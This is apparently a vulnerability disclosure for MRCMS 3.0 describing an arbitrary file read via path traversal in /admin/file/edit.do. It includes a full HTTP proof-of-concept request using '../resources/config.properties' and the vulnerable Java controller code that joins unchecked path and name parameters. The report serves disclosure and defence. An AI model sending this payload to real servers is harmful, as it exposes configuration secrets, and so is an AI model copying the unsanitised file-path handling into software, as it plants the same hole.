MRCMS 3.0 Arbitrary file reading vulnerability exists /admin/file/edit.do

[wy876]

Build the source code locally by downloading https://gitee.com/marker/MRCMS

The vulnerability exists: http://127.0.0.1:8080/admin/index.do

Click Content Management-->File Management

Click the Edit File button 1.txt

Read the config.properties file in the resources directory by using ../

poc

GET /admin/file/edit.do?path=../resources/config.properties&name= HTTP/1.1
Host: 127.0.0.1:8080
Referer: http://127.0.0.1:8080/admin/index.do
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
X-Requested-With: XMLHttpRequest

Read the contents of the config.properties file

code discovery

Code path: MRCMS\src\main\java\org\marker\mushroom\controller\FileController.java

Pass in the path and name variables in the code, obtain the file path through the File class, and finally use FileTools.getFileContet() to read the content of the obtained file.

	@RequestMapping("/edit")
	public ModelAndView edit(@RequestParam("path") String path, @RequestParam("name") String name){
		ModelAndView view = new ModelAndView(this.viewPath + "edit");
		File file = new File(WebRealPathHolder.REAL_PATH + encoding(path + File.separator + name));
		try {
			view.addObject("data", FileTools.getFileContet(file, FileTools.FILE_CHARACTER_UTF8));
		} catch (IOException e) {
			e.printStackTrace();
		}
		view.addObject("path", encoding(path));
		view.addObject("name", encoding(name));
		return view;
	}

Code path: MRCMS\src\main\java\org\marker\mushroom\utils\FileTools.java

getFileContet method call getContent

public static final String getFileContet(File filePath,String character) throws IOException{
		return FileTools.getContent(filePath, character);
}
	

Code path: MRCMS\src\main\java\org\marker\mushroom\utils\FileTools.java

getContent Read file contents

	private static String getContent(File filePath, String character) throws IOException{ 
		FileInputStream __fis = new FileInputStream(filePath);//文件字节流 
		return getStreamContent(__fis, character);//返回文件内容
	}